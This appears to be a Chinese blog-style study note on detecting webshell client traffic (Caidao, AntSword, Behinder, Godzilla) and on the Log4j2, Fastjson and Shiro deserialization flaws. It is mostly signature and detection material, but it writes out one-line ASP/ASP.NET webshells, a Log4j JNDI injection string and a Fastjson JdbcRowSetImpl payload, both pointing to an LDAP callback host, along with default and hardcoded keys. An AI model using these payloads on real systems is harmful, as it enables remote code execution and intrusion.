一些知识点

一些知识点

跨清溪半里桥

https://www.cnblogs.com/B0like/p/17486657.html

菜刀:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
payload在请求体中,采用url编码+base64编码,payload部分是明文传输。
payload中有eval或assert、base64_decode这样的字符。
payload中有默认固定的&z0=QGluaV9zZXQ...这样base64加密的攻击载荷,参数z0对应$_POST[z0]接收到的数据,且固定为QGluaV9zZXQ开头。进行base64解码后可看到代码:@ini_set("display_errors","0");@set_time_limit(0);@set_magic_quotes_runtime(0);这段意思是首先关闭报错和magic_quotes,接下来去获取主机的信息。

eval、assert等函数用于执行传递的攻击payload。
(base64_decode($_POST[action]))将攻击payload 进行 base64 解码。
&action=QGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwiMCIpO0BzZXRfdGl……,该部分是传递攻击 payload,此参数 action 对应 $POST[action] 接收到的数据。

payload的特征:

php:
asp:<%eval request("caidao")%>
asp.net:<%@Page Language="Jscript"%><%eval(Request.Item["caidao"],"unsafe");%>
数据包流量特征:

请求包中:ua头为百度
请求体中有eval,base64等特征字符
请求体中传递的payload为base64编码,并且是固定的
蚁剑:
1
2
3
4
5
6
7
8
9
10
11
蚁剑的很多源码来自菜刀,所以链接流量特征与中国菜刀很相似,但是蚁剑的扩充性很好可以对进行加密,混淆等绕过处理。蚁剑默认支持 ASP以及PHP的Webshell链接,还可以通过插件来扩展其功能。

请求时可选择多种编码器,如果采用默认的方式,则仅进行url编码。
进行连接时会进行两次请求,第一次请求的payload和菜刀相似,也是@ini_set ("display_errors","0");@set_time_limit(0);@set_magic_quotes_runtime(0);意思是关闭报错和magic_quotes,接下来区获取主机信息。这段代码基本是所有WebShell客户端链接PHP类WebShell都有的一种代码。
第二次请求会把主机的目录列出来。
由于蚁剑中包含了很多加密、绕过插件,所以导致很多流量被加密后无法识别,但是蚁剑混淆加密后还有一个比较明显的特征,即为参数名大多以“_0x.....=”这种形式(下划线可替换为其他)所以,以_0x开头的参数名,后面为加密数据的数据包也可识别为蚁剑的流量特征。

php中使用assert,eval执行
asp使用eval执行
jsp中使用的是Java类加载(ClassLoader),同时会带有base64编码解码等字符特征
数据包流量特征:请求体中一定有@in_set("display_errors","0");@set_time_limit(0)开头,后面存在base64等字符
冰蝎:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
冰蝎是一款动态二进制加密 Web 远程管理客户端,以进行动态流量加密,且加密密钥是由使用者来设定,但是该拦截器对 webshell 的需求比较高,无法连接一句话木马。

冰蝎3.0
使用AES加密+base64编码发起两次请求。
冰蝎3.0取消了动态密钥获取的请求,AES的密钥直接固定为连接密码32位md5的前16位,默认连接密码是"rebeyond"(即密钥是md5('rebeyond')[0:16]=e45e329feb5d925b)。服务端和客户端不再进行密钥的交互传递。两次请求中,第一次请求用于判断是否可以建立连接。第二次发送 phpinfo 等代码执行,获取网站的信息。
其可能作为识别特征的是:Content-Type:application/octet-stream。application/octet-stream 为 http 规范中较少使用的一种 Content-Type,其含义为只能提交二进制,而且只能提交一个二进制,如果提交文件的话,只能提交一个文件 ,后台接收参数只能有一个,而且只能是流 (或者字节数组)。

冰蝎4.0
提供了传输协议自定义的功能,让用户对流量的加密和解密进行自定义,实现流量加解密协议的去中心化。v4.0版本不再有连接密码的概念,自定义传输协议的算法就是连接密码。
Accept字段(弱特征),通常是Accept: application/json, text/javascript, /; q=0.01 意思是浏览器可接受任何文件,但最倾向application/json 和 text/javascript。
Content-Type字段(弱特征),通常是Content-type: Application/x-www-form-urlencoded
与冰蝎的前述版本相似,进行请求时内置了十几个User-Agent头,每次请求时会随机选择其中的一个。
连接的端口有一定的特征,冰蝎与webshell建立连接的同时,javaw也与目的主机建立tcp连接,每次连接使用本地端口在49700左右(就是比较大的端口),每连接一次,每建立一次新的连接,端口就依次增加。
使用长连接,避免了频繁的握手造成的资源开销。默认情况下,请求头和响应头里会带有 Connection:Keep-Alive
有固定的请求头和响应头,请求字节头:dFAXQV1LORcHRQtLRlwMAhwFTAg/M ,响应字节头:TxcWR1NNExZAD0ZaAWMIPAZjH1BFBFtHThcJSlUXWEd
默认时,冰蝎 webshell都有“e45e329feb5d925b” 一串密钥,与冰蝎3.0相同

冰蝎3.0
payload特征:

先base64加密,再经过AES对称加密全部代码,最后传输

AES加密的密钥为webshell连接密码的MD5的前16位,默认连接密码是"rebeyond"(即密钥是md5('rebeyond')[0:16]=e45e329feb5d925b)

1、 Accept&Cache-Control
Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2

Cache-Control: no-cache

Pragma: no-cache

User-Agent: java/1.8

3、content-type
该请求头是冰蝎3.0中写死的部分,除非反编译,不然很难修改

Content-Type: application/octet-stream

4、 请求中content-length
为5740或5720(可能会根据Java版本而改变)

第一阶段:密钥协商
1)攻击者通过 GET 或者 POST 方法,形如 http://127.0.0.1/shell.aspx?pass=645 的请求服务器密钥;
2)服务器使用随机数 MD5 的高16位作为密钥,存储到会话的 $_SESSION 变量中,并返回密钥给攻击者。
第二阶段-加密传输
1)客户端把待执行命令作为输入,利用 AES 算法或 XOR 运算进行加密,并发送至服务端;
2)服务端接受密文后进行 AES 或 XOR 运算解密,执行相应的命令;
3)执行结果通过AES加密后返回给攻击者。

1、Accept字段
Accept: application/json, text/javascript, */*; q=0.01
2、流量特征Content-Type字段
PHP站点:Application/x-www-form-urlencoded
ASP站点:Application/octet-stream
4、 流量特征长连接
冰蝎通讯默认使用长连接,避免了频繁的握手造成的资源开销。默认情况下,请求头和响应头里会带有 Connection。

Connection: Keep-Alive
5、流量特征固定的请求头和响应头
PHP站点默认口令Default_xor_base64协议加密流量特征,请求字节头:
dFAXQV1LORcHRQtLRlwMAhwFTAg/M

响应字节头:
TxcWR1NNExZAD0ZaAWMIPAZjH1BFBFtHThcJSlUXWEd

PHP站点默认口令Default_aes协议加密流量特征,请求字节头:
m7nCS8n4OZG9akdDlxm6OdJevs/jYQ5/IcXK

响应字节头:
mAUYLzmqn5QPDkyI5lvSp6DmrC24FW39Y4YsJhUqS7

JSP站点默认口令Default_xor_base64协议,aes_with_magic协议,Default_aes协议,加密流量特征,响应字节头:
QhoVQgMXEUcUCBMHAGFZaQtuHFUVXlkWGhBcF1QVCRJ

6、流量特征连接密码
默认时,所有冰蝎4.* webshell都有“e45e329feb5d925b” 一串密钥。该密钥为连接密码32位md5值的前16位,默认连接密码rebeyond

哥斯拉:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21

1、cookie
在Cookie中有一个很明显的特征:最后有一个分号

2、响应体
从代码中可以看到会把一个32位的md5字符串按照一半拆分,分别放在base64编码的数据的前后两部分

整个响应包的结构体征为:md5前十六位+base64+md5后十六位

72a9c691ccdaab98fL1tMGI4YTljO/5+/PlQm9MGV7lTjFUKUdfQMDL/j64wJ2UwYg==b4c4e1f6ddd2a488
按照这样我们分开表示:

md5前十六位:72a9c691ccdaab98
base64:fL1tMGI4YTljO/5+/PlQm9MGV7lTjFUKUdfQMDL/j64wJ2UwYg==
md5后十六位:b4c4e1f6ddd2a488
我们可以根据这个特征对其所以的数据流量进行分析甄别筛查,符合此格式的统统筛选为威胁来源

3、连接特征
请求1:发送一段固定代码(payload),返回内容为空
请求2:发送一段固定代码(test),返回内容为固定字符串,如下:72a9c691ccdaab98fL1tMGI4YTljO/79NDQm7r9PZzBiOA==b4c4e1f6ddd2a488,解密后即为ok。如果连接失败返回内容为空,且不发起请求3
请求3:发送一段固定代码(getBacisInfo),返回内容为固定字符串(对应服务器信息)

人麻了

java框架漏洞

https://www.cnblogs.com/B0like/p/17486657.html

log4j2:远程代码执行漏洞
1
2
3
4
5
6
7
8
9
漏洞适用版本:2.0<=apache log4j2 <=2.14.1

Apache log4j2-RCE漏洞是由于Log4j2提供的lookup功能下的 jndi Lookup模块出现问题所导致的,
该功能模块在输出日志信息时允许开发人员通过相应的协议去请求远程主机上的资源。
而开发人员在处理数据时,
并没有对用户输入的信息进行判断导致LOg4j2请求远程主机上的含有恶意代码的资源并执行其中的代码,从而造成远程代码执行漏洞。

${jndi:恶意payload}
将${jndi:ldap://192.168.141.163:1389/avqeli} 作为action的参数
fastjson漏洞—-反序列化漏洞
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
fastjson为了读取并判断传入的值是什么类型,增加了autotype机制导致了漏洞产生。

由于要获取json数据详细类型,每次都需要读取@type,
而@type可以指定反序列化任意类调用其set,get,is方法,
并且由于反序列化的特性,我们可以通过目标类的set方法自由的设置类的属性值。

那么攻击者只要准备rmi服务和web服务,将rmi绝对路径注入到lookup方法中,
受害者JNDI接口会指向攻击者控制rmi服务器,JNDI接口从攻击者控制的web服务器远程加载恶意代码并执行

Fastjson使用黑白名单用于防御反序列化漏洞,
并允许用户在输入JSON串时通过“@type”键对应的value指定任意反序列化类名。
在特定条件下可绕过默认autoType关闭限制,攻击远程服务器,风险影响较大(也就是通常所指的“Gadget”)。

流量特征
{"e":{"@type":"java.lang.Class","val":"com.sun.rowset.JdbcRowSetImpl"},"f":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://192.168.141.163:8901/Object","autoCommit":true}}
shiro550与721

shiro550反序列化漏洞原理与漏洞复现(基于vulhub,保姆级的详细教程)_shiro550原理-CSDN博客

1
2
3
4
5
6
7
8
9
10
11
12
13
14
在Apache shiro的框架中,执行身份验证时提供了一个记住密码的功能(RememberMe),
如果用户登录时勾选了这个选项。用户的请求数据包中将会在cookie字段多出一段数据,
这一段数据包含了用户的身份信息,且是经过加密的。
过程是勾选了记住密码,post请求中有remeberme字段,服务器返回rememberMe=deleteMe和set cookie:rememberme值
客户端再拿rememberme值与服务器做验证

加密的过程是:用户信息=>序列化=>AES加密 (这一步需要用密钥key) =>base64编码=>添加到RememberMe Cookie字段。
AES是一种对称密钥密码体制,加解密用到是相同的密钥,
这个密钥应该是绝对保密的,但在shiro版本<=1.2.24的版本中使用了固定的密钥kPH+bIxk5D2deZiIxcaaaA==

勾选记住密码之后,下次登录时,服务端会根据客户端请求包中的cookie值进行身份验证,无需登录即可访问。
那么显然,服务端进行对cookie进行验证的步骤就是: 取出请求包中rememberMe的cookie值 => Base64解码=>AES解密 (用到密key) =>反序列化。
721:
密钥由代码随机生成,利用padding Oracle Attack攻击去填冲,来获取到加密密钥(注:需要花费更多时间成本)。
On this page
一些知识点